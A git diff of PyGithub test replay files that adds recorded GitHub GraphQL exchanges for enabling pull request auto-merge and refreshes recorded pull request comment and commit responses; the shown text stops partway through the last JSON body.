+{"merged":false,"mergeable":true,"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","updated_at":"2012-05-27T09:09:17Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":176,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-27T09:09:17Z","created_at":"2012-05-27T08:50:04Z","id":4460787,"html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},"updated_at":"2012-05-27T10:16:02Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/31","body":"Body of the pull request","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","comments":0,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/PyGithub/PyGithub.git","updated_at":"2012-05-27T08:50:04Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":17,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T07:29:24Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/PyGithub/PyGithub","full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"},"number":31,"merged_by":null,"closed_at":null,"title":"Pull request created by PyGithub","deletions":384,"merged_at":null,"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"}},"changed_files":45,"additions":511,"created_at":"2012-05-27T09:25:36Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"state":"open","id":1436215,"review_comments":1,"commits":3,"html_url":"https://github.com/PyGithub/PyGithub/pull/31"} diff --git a/tests/ReplayData/PullRequest.testEnableAutomerge.txt b/tests/ReplayData/PullRequest.testEnableAutomerge.txt new file mode 100644 index 0000000000..1c84adb85a --- /dev/null +++ b/tests/ReplayData/PullRequest.testEnableAutomerge.txt @@ -0,0 +1,10 @@ +https +POST +api.github.com +None +/graphql +{'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"query": "mutation EnablePullRequestAutoMerge($input: EnablePullRequestAutoMergeInput!) { enablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==", "mergeMethod": "SQUASH", "authorEmail": "foo@example.com", "clientMutationId": "1234", "commitBody": "body of the commit", "commitHeadline": "The commit headline", "expectedHeadOid": "0283d46537193f1fed7d46859f15c5304b9836f9"}}} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"data": {"enablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} diff --git a/tests/ReplayData/PullRequest.testEnableAutomergeDefaultValues.txt b/tests/ReplayData/PullRequest.testEnableAutomergeDefaultValues.txt new file mode 100644 index 0000000000..baca2a4d1b --- /dev/null +++ b/tests/ReplayData/PullRequest.testEnableAutomergeDefaultValues.txt @@ -0,0 +1,10 @@ +https +POST +api.github.com +None +/graphql +{'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"query": "mutation EnablePullRequestAutoMerge($input: EnablePullRequestAutoMergeInput!) { enablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==", "mergeMethod": "MERGE"}}} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"data": {"enablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} diff --git a/tests/ReplayData/PullRequest.testEnableAutomergeError.txt b/tests/ReplayData/PullRequest.testEnableAutomergeError.txt new file mode 100644 index 0000000000..5fdefbc7bc --- /dev/null +++ b/tests/ReplayData/PullRequest.testEnableAutomergeError.txt @@ -0,0 +1,10 @@ +https +POST +api.github.com +None +/graphql +{'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} +{"query": "mutation EnablePullRequestAutoMerge($input: EnablePullRequestAutoMergeInput!) { enablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==", "mergeMethod": "MERGE"}}} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"data": {"enablePullRequestAutoMerge": null}, "errors": [{"locations": [{"column": 81, "line": 1}], "message": "Pull request Auto merge is not allowed for this repository", "path": ["enablePullRequestAutoMerge"], "type": "UNPROCESSABLE"}]} diff --git a/tests/ReplayData/PullRequest.testGetComments.txt b/tests/ReplayData/PullRequest.testGetComments.txt index d8130f423a..f7b3a4b198 100644 --- a/tests/ReplayData/PullRequest.testGetComments.txt +++ b/tests/ReplayData/PullRequest.testGetComments.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/comments +/repos/PyGithub/PyGithub/pulls/31/comments?sort=updated&direction=desc&since=1970-01-01T00%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '938'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"90a75b1552a6732d4b7440fc1a3e3f74"'), ('date', 'Sun, 27 May 2012 10:10:55 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"updated_at":"2012-05-27T10:09:07Z","position":5,"original_position":5,"body":"Comment edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}},"created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298}] - +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:35:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2d798fc8a4b3bdc86462c9e8e65753f25688b137c42e092cdc2d02ed94240f17"'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1686130493'), ('X-RateLimit-Used', '12'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9876:0C54:8EE1A2:90498F:6480416E')] +[{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357","pull_request_review_id":131593233,"id":197784357,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE5Nzc4NDM1Nw==","diff_hunk":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r","path":"test/IssueEvent.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","user":{"login":"eamanu","id":7605307,"node_id":"MDQ6VXNlcjc2MDUzMDc=","avatar_url":"https://avatars.githubusercontent.com/u/7605307?v=4","gravatar_id":"","url":"https://api.github.com/users/eamanu","html_url":"https://github.com/eamanu","followers_url":"https://api.github.com/users/eamanu/followers","following_url":"https://api.github.com/users/eamanu/following{/other_user}","gists_url":"https://api.github.com/users/eamanu/gists{/gist_id}","starred_url":"https://api.github.com/users/eamanu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eamanu/subscriptions","organizations_url":"https://api.github.com/users/eamanu/orgs","repos_url":"https://api.github.com/users/eamanu/repos","events_url":"https://api.github.com/users/eamanu/events{/privacy}","received_events_url":"https://api.github.com/users/eamanu/received_events","type":"User","site_admin":false},"body":"Test Case Dissmiss Review","created_at":"2018-06-25T12:54:34Z","updated_at":"2018-06-25T12:54:43Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r197784357"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/197784357/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":7,"original_line":7,"side":"RIGHT","original_position":6,"position":6,"subject_type":"line"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134","pull_request_review_id":null,"id":1580134,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDE1ODAxMzQ=","diff_hunk":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @todo No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch","path":"codegen/templates/GithubObject.py","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Review comment created for PyGithub\n","created_at":"2012-09-11T20:06:32Z","updated_at":"2012-09-11T20:06:32Z","html_url":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134","pull_request_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31#discussion_r1580134"},"pull_request":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"}},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments/1580134/reactions","total_count":2,"+1":1,"-1":0,"laugh":0,"hooray":1,"confused":0,"heart":0,"rocket":0,"eyes":0},"start_line":null,"original_start_line":null,"start_side":null,"line":73,"original_line":null,"side":"RIGHT","original_position":5,"position":5,"subject_type":"line"}] diff --git a/tests/ReplayData/PullRequest.testGetCommits.txt b/tests/ReplayData/PullRequest.testGetCommits.txt index 2ca18f9a16..4be71ace8c 100644 --- a/tests/ReplayData/PullRequest.testGetCommits.txt +++ b/tests/ReplayData/PullRequest.testGetCommits.txt @@ -2,9 +2,9 @@ https GET api.github.com None -/repos/jacquev6/PyGithub/pulls/31/commits +/repos/PyGithub/PyGithub/pulls/31/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '4531'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b4ea459213c1dd415628476619cbbc25"'), ('date', 'Sun, 27 May 2012 10:20:23 GMT'), ('content-type', 'application/json; charset=utf-8')] -[{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ed866fc43833802ab553e5ff8581c81bb00dd433","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:33:23-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","message":"Improve test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:33:23-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/3447efc7d0f2e0197a722c55c13cde7417d1f2d3","sha":"3447efc7d0f2e0197a722c55c13cde7417d1f2d3"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","sha":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:37:17-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","message":"Remove branch coverage for optional attributes (temporary?)","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:37:17-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/d925a951cd6a5442e91dcfded3171520e9cca5de","sha":"d925a951cd6a5442e91dcfded3171520e9cca5de"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","sha":"93dcae5cf207de376c91d0599226e7c7563e1d16"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T02:07:47-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a4f306d4b223682dd19410d4a9150636ebe4206","message":"Test (and implement) Issue.*_label*\n\nAnd this commit will be used to test PullRequests","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T02:07:47-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/fa0251344d6b0b9f69f33c1faf6e3323001b309d","sha":"fa0251344d6b0b9f69f33c1faf6e3323001b309d"}}}] +[{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ed866fc43833802ab553e5ff8581c81bb00dd433","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:33:23-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","message":"Improve test coverage","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-05-27T00:33:23-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/3447efc7d0f2e0197a722c55c13cde7417d1f2d3","sha":"3447efc7d0f2e0197a722c55c13cde7417d1f2d3"}}},{"author":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/93dcae5cf207de376c91d0599226e7c7563e1d16","committer":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"93dcae5cf207de376c91d0599226e7c7563e1d16","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23","sha":"4aadfff21cdd2d2566b0e4bd7309c233b5f4ae23"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent 